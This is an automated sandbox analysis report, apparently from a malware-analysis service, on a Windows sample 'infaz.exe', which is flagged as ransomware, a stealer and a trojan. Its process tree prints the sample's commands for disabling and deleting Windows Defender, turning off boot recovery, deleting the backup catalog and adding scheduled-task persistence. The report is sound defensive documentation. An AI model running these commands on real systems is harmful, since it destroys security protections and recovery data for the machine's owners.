77f602ab8567fa108529c14bb357cd997f272347d122fde19dcf950afa97ce78

Analysis

user interaction
yes
max time kernel
149s
max time network
147s
platform
windows10-2004_x64
resource
win10v2004-20260911-en
resource tags

arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
11/11/2026, 05:59

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
infaz.exe
Size 1.4MB
Sample261111-gpvm4at12r
SHA256 77f602ab8567fa108529c14bb357cd997f272347d122fde19dcf950afa97ce78
MD5 4e9d3527344817072e89f05813a5c0cf
SHA1 155ab3754c15749bcf694a267bf8155dc59b7e7e
SHA512 9d824dd508a7611e2ea19d409d3d22409f79b4507b19a12a8d4c60f7a9c36589a0317e7b1f8ba0dff10fb865417347c95167790ab5b9ed68fcc682cf82329a1a
SSDEEP 24576:1Tif6hysWbIkDWYOJf82frKnHnNnjbNYYLIx5Uvk:RiShysWbIkDWYOR822HrY
TLSH
T1C5659D0BA3B900EDD167D279C9065607EFB2B4051324ABDB5790CA662F23FE15F7A321
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery evasion execution exploit persistence ransomware spyware stealer trojan

Malware Config

Signatures

Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "0"	infaz.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "0"	infaz.exe

Modifies boot configuration data using bcdedit 1 TTPs 1 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
2664	bcdedit.exe

Deletes backup catalog 3 TTPs 2 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
5528	wbadmin.exe
4776	wbadmin.exe

Possible privilege escalation attempt 6 IoCs

exploit

pid	Process
3776	icacls.exe
3436	takeown.exe
1440	takeown.exe
3372	icacls.exe
2848	takeown.exe
5844	takeown.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002

Modifies file permissions 1 TTPs 6 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
3372	icacls.exe
2848	takeown.exe
5844	takeown.exe
3776	icacls.exe
3436	takeown.exe
1440	takeown.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SystemUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\infaz.exe"	infaz.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SystemUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\infaz.exe"	infaz.exe

Contacts third-party web service commonly abused for C2 1 TTPs 5 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
33	discord.com
34	discord.com
9	discord.com
10	discord.com
14	discord.com

Looks up external IP address via web service 1 TTPs 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

discovery

Internet Connection Discovery

T1016.001

flow	ioc
7	api.ipify.org

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Windows Defender\es-ES\MpAsDesc.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\es-ES\ProtectionManagement.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\es-ES\ProtectionManagement.mfl	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\fr-FR\OfflineScannerShell.exe.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\de-DE\MsMpRes.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\de-DE\ProtectionManagement_Uninstall.mfl	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\fr-FR\OfflineScannerShell.exe.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\fr-FR\ProtectionManagement.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\fr-FR\ProtectionManagement_Uninstall.mfl	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\it-IT\EppManifest.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\it-IT\ProtectionManagement.mfl	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\ja-JP\MsMpRes.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\es-ES\ProtectionManagement_Uninstall.mfl	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\it-IT\MpEvMsg.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\it-IT\shellext.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\ja-JP\EppManifest.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\ja-JP\MpAsDesc.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\ja-JP\ProtectionManagement.mfl	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\uk-UA\ProtectionManagement.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\it-IT\MpAsDesc.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\de-DE\ProtectionManagement.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\fr-FR\ProtectionManagement.mfl	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\it-IT\MpAsDesc.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\uk-UA\MsMpRes.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\uk-UA\ProtectionManagement_Uninstall.mfl	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\es-ES\MpAsDesc.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\fr-FR\MsMpRes.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\fr-FR\shellext.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\it-IT\MpEvMsg.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\ja-JP\OfflineScannerShell.exe.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\uk-UA\ProtectionManagement_Uninstall.mfl	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\it-IT\shellext.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\de-DE\MpAsDesc.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\fr-FR\MpEvMsg.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\it-IT\ProtectionManagement_Uninstall.mfl	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\es-ES\EppManifest.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\de-DE\shellext.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\es-ES\shellext.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\ja-JP\ProtectionManagement.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\ja-JP\ProtectionManagement_Uninstall.mfl	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\es-ES\OfflineScannerShell.exe.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\it-IT\MsMpRes.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\it-IT\OfflineScannerShell.exe.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\ja-JP\EppManifest.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\de-DE\ProtectionManagement.mfl	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\es-ES\ProtectionManagement_Uninstall.mfl	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\fr-FR\MpAsDesc.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\de-DE\MpAsDesc.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\fr-FR\MpAsDesc.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\fr-FR\ProtectionManagement.mfl	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\it-IT\ProtectionManagement.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\uk-UA\ProtectionManagement.mfl	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\uk-UA\shellext.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\de-DE\EppManifest.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\ja-JP\OfflineScannerShell.exe.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\de-DE\OfflineScannerShell.exe.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\es-ES\MpEvMsg.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\de-DE\MpEvMsg.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\es-ES\MpEvMsg.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\es-ES\OfflineScannerShell.exe.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\fr-FR\MsMpRes.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\uk-UA\MpAsDesc.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\uk-UA\ProtectionManagement.mfl	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\fr-FR\EppManifest.dll.mui	cmd.exe

Launches sc.exe 4 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
2016	sc.exe
5192	sc.exe
4104	sc.exe
3936	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 20 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
5312	cmd.exe
2580	cmd.exe
5808	cmd.exe
1092	cmd.exe
5744	cmd.exe
5920	cmd.exe
2432	cmd.exe
1012	cmd.exe
5044	cmd.exe
3040	cmd.exe
2328	cmd.exe
1136	cmd.exe
5216	cmd.exe
2832	cmd.exe
4124	cmd.exe
4108	cmd.exe
3472	cmd.exe
2324	cmd.exe
5944	cmd.exe
5748	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	infaz.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	infaz.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	infaz.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	infaz.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
4580	msedge.exe

Checks SCSI registry key(s) 3 TTPs 4 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000	vds.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName	vds.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_HL-DT-ST_DVD+-RW\4&215468A5&0&010000	vds.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\FriendlyName	vds.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	msedge.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
1696	schtasks.exe
2056	schtasks.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
3400	infaz.exe
3400	infaz.exe
5972	infaz.exe
5972	infaz.exe
9088	msedge.exe
9088	msedge.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 64 IoCs

pid	Process
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeTakeOwnershipPrivilege	3436	takeown.exe
Token: SeTakeOwnershipPrivilege	2848	takeown.exe
Token: SeBackupPrivilege	3256	wbengine.exe
Token: SeRestorePrivilege	3256	wbengine.exe
Token: SeSecurityPrivilege	3256	wbengine.exe

Suspicious use of FindShellTrayWindow 9 IoCs

pid	Process
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe

Suspicious use of SendNotifyMessage 8 IoCs

pid	Process
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
3400	infaz.exe
5972	infaz.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3400 wrote to memory of 5312	3400	infaz.exe	84
PID 5312 wrote to memory of 1696	5312	cmd.exe	86
PID 3400 wrote to memory of 2580	3400	infaz.exe	87
PID 2580 wrote to memory of 3936	2580	cmd.exe	89
PID 3400 wrote to memory of 5808	3400	infaz.exe	90
PID 5808 wrote to memory of 2016	5808	cmd.exe	92
PID 3400 wrote to memory of 1092	3400	infaz.exe	93
PID 1092 wrote to memory of 5844	1092	cmd.exe	96
PID 3400 wrote to memory of 5744	3400	infaz.exe	97
PID 5972 wrote to memory of 5044	5972	infaz.exe	100
PID 5744 wrote to memory of 3776	5744	cmd.exe	102
PID 5044 wrote to memory of 2056	5044	cmd.exe	103
PID 5972 wrote to memory of 3040	5972	infaz.exe	104
PID 3400 wrote to memory of 4124	3400	infaz.exe	106
PID 3040 wrote to memory of 5192	3040	cmd.exe	108
PID 5972 wrote to memory of 2324	5972	infaz.exe	109
PID 3400 wrote to memory of 2328	3400	infaz.exe	112
PID 2324 wrote to memory of 4104	2324	cmd.exe	114
PID 5972 wrote to memory of 1136	5972	infaz.exe	115
PID 2328 wrote to memory of 3436	2328	cmd.exe	117
PID 1136 wrote to memory of 1440	1136	cmd.exe	118
PID 5972 wrote to memory of 5944	5972	infaz.exe	119
PID 3400 wrote to memory of 4108	3400	infaz.exe	121
PID 5944 wrote to memory of 3372	5944	cmd.exe	123
PID 5972 wrote to memory of 5920	5972	infaz.exe	124
PID 3400 wrote to memory of 5216	3400	infaz.exe	126
PID 5972 wrote to memory of 2432	5972	infaz.exe	128
PID 5216 wrote to memory of 2664	5216	cmd.exe	130
PID 3400 wrote to memory of 3472	3400	infaz.exe	131
PID 2432 wrote to memory of 2848	2432	cmd.exe	133
PID 3472 wrote to memory of 5528	3472	cmd.exe	134
PID 5972 wrote to memory of 5748	5972	infaz.exe	136
PID 5972 wrote to memory of 1012	5972	infaz.exe	140
PID 5972 wrote to memory of 2832	5972	infaz.exe	142
PID 2832 wrote to memory of 4776	2832	cmd.exe	144
PID 3400 wrote to memory of 4100	3400	infaz.exe	145
PID 4100 wrote to memory of 744	4100	msedge.exe	146
PID 5972 wrote to memory of 5484	5972	infaz.exe	147
PID 4100 wrote to memory of 4580	4100	msedge.exe	149
PID 4100 wrote to memory of 4380	4100	msedge.exe	150
PID 4100 wrote to memory of 4380	4100	msedge.exe	150
PID 4100 wrote to memory of 4380	4100	msedge.exe	150
PID 4100 wrote to memory of 5548	4100	msedge.exe	151
PID 4100 wrote to memory of 5548	4100	msedge.exe	151
PID 4100 wrote to memory of 5804	4100	msedge.exe	152
PID 4100 wrote to memory of 5804	4100	msedge.exe	152
PID 4100 wrote to memory of 5804	4100	msedge.exe	152
PID 4100 wrote to memory of 4992	4100	msedge.exe	153
PID 4100 wrote to memory of 4992	4100	msedge.exe	153
PID 4100 wrote to memory of 4992	4100	msedge.exe	153
PID 4100 wrote to memory of 376	4100	msedge.exe	154
PID 4100 wrote to memory of 376	4100	msedge.exe	154
PID 4100 wrote to memory of 376	4100	msedge.exe	154
PID 3400 wrote to memory of 4280	3400	infaz.exe	158
PID 5972 wrote to memory of 2996	5972	infaz.exe	248
PID 4100 wrote to memory of 1132	4100	msedge.exe	160
PID 4100 wrote to memory of 1132	4100	msedge.exe	160
PID 4100 wrote to memory of 1132	4100	msedge.exe	160
PID 4100 wrote to memory of 5472	4100	msedge.exe	161
PID 4100 wrote to memory of 5472	4100	msedge.exe	161
PID 4100 wrote to memory of 5472	4100	msedge.exe	161
PID 4100 wrote to memory of 4104	4100	msedge.exe	165
PID 4100 wrote to memory of 4104	4100	msedge.exe	165
PID 4100 wrote to memory of 4104	4100	msedge.exe	165

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\infaz.exe
"C:\Users\Admin\AppData\Local\Temp\infaz.exe"
1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Adds Run key to start application
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3400
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c schtasks /create /tn "SystemUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\infaz.exe" /sc onlogon /rl highest /f
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5312
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "SystemUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\infaz.exe" /sc onlogon /rl highest /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1696
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc stop WinDefend >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2580
- - C:\Windows\system32\sc.exe
    sc stop WinDefend
    3⤵
    - Launches sc.exe
    PID:3936
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc config WinDefend start= disabled >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5808
- - C:\Windows\system32\sc.exe
    sc config WinDefend start= disabled
    3⤵
    - Launches sc.exe
    PID:2016
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c takeown /f "C:\ProgramData\Microsoft\Windows Defender" /r /d y >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1092
- - C:\Windows\system32\takeown.exe
    takeown /f "C:\ProgramData\Microsoft\Windows Defender" /r /d y
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:5844
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\Microsoft\Windows Defender" /grant administrators:F /t >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5744
- - C:\Windows\system32\icacls.exe
    icacls "C:\ProgramData\Microsoft\Windows Defender" /grant administrators:F /t
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:3776
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c rd /s /q "C:\ProgramData\Microsoft\Windows Defender" >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:4124
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c takeown /f "C:\Program Files\Windows Defender" /r /d y >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2328
- - C:\Windows\system32\takeown.exe
    takeown /f "C:\Program Files\Windows Defender" /r /d y
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:3436
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c rd /s /q "C:\Program Files\Windows Defender" >nul 2>&1
  2⤵
  - Drops file in Program Files directory
  - Executes a command shell one-liner
  PID:4108
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /set {default} recoveryenabled No >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5216
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2664
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wbadmin delete catalog -quiet >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3472
- - C:\Windows\system32\wbadmin.exe
    wbadmin delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:5528
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  - Checks processor information in registry
  - Enumerates system info in registry
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of WriteProcessMemory
  PID:4100
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2c4,0x2c8,0x2cc,0x2c0,0x2ec,0x7ffdb3f5c188,0x7ffdb3f5c194,0x7ffdb3f5c1a0
    3⤵
    PID:744
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1960,i,13448594241355144830,381533884535933779,524288 --field-trial-handle=2148,i,2136316741522567358,9231420270021672289,262144 --variations-seed-version --mojo-platform-channel-handle=2176 /prefetch:3
    3⤵
    - System Time Discovery
    PID:4580
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1628,i,9634316815786100603,16180461931241825659,262144 --field-trial-handle=2148,i,2136316741522567358,9231420270021672289,262144 --variations-seed-version --mojo-platform-channel-handle=2144 /prefetch:2
    3⤵
    PID:4380
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2444,i,1284204566412055733,6247917850554593991,524288 --field-trial-handle=2148,i,2136316741522567358,9231420270021672289,262144 --variations-seed-version --mojo-platform-channel-handle=2448 /prefetch:8
    3⤵
    PID:5548
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3404,i,12638654729840233070,12026228040110641237,2097152 --field-trial-handle=2148,i,2136316741522567358,9231420270021672289,262144 --variations-seed-version --mojo-platform-channel-handle=3436 /prefetch:1
    3⤵
    PID:5804
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3424,i,7123022498926971142,13165257313510881202,2097152 --field-trial-handle=2148,i,2136316741522567358,9231420270021672289,262144 --variations-seed-version --mojo-platform-channel-handle=3444 /prefetch:1
    3⤵
    PID:4992
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4212,i,7843799557849347625,14724827719603872417,2097152 --field-trial-handle=2148,i,2136316741522567358,9231420270021672289,262144 --variations-seed-version --mojo-platform-channel-handle=4092 /prefetch:1
    3⤵
    PID:376
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=5008,i,10469244486961746754,16585093523530840036,2097152 --field-trial-handle=2148,i,2136316741522567358,9231420270021672289,262144 --variations-seed-version --mojo-platform-channel-handle=5048 /prefetch:1
    3⤵
    PID:1132
